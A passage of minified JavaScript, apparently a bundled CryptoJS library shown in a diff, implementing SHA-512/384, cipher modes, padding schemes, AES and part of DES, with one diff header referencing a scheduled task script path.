i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { @@ -26,186 +26,100 @@ cron "4 2,10 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/ } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 